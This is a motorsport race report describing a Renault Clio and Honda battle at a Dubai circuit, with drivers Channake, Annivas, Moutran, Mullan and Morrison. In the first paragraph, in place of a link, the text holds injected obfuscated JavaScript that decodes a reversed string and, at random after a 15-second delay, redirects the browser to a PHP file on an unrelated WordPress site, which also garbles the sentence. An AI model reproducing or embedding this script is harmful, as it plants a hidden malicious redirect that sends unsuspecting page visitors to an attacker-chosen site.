With Papantonis way out front, all focus lay on the squabbling Renault Clios and Class 2 Hondas behind him. Rupesh Channake may well have leapfrogged reigning $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/a-quick-chat-with-the-champs-dubai-uae/” target=”_blank”>Clio Cup Champion Alexandros Annivas in the opening stages, but by half distance, the Grecian was starting to close the gap. Quickly.
Only the Civic Type R’s straight-line speed saved it being a sitting duck on the straights, the nimble agility of the Clio keeping Channake well within range through the tight and twisting complex at the back of the circuit. All the while Ramzi Moutran in the Duel Racing Clio was hunting the pair down, little by little.
Once or twice Channake and Annivas were side-by-side out of the final corner, those in the paddock watching the screens inching forward, wondering if the Clio could steal second-place into turn one. In the end he couldn’t, but third place, a category win, and a Channake hot under the collar was a good return for a solid drive. Fourth place went to Moutran, the Brit shadowing his squabbling rivals across the line.
Behind the battle for fifth raged unabated, Jonathan Mullan’s Honda Integra holding off Will Morrison’s Clio despite some late-braking attempts by the Brit. Getting loose on the exit of turn 16, plus a missed braking point through the tricky turn five/six complex kept the Clio framed in Mullan’s rearview mirror.
Eventually the Honda would run out of grip, running just wide enough at turn 14 to open the door for Morrison. The paddock watched, the cars turned, the gap closed, and onlookers held their breath. Once past, Morrison simply walked away from Mullan, the Honda’s grip all but gone.
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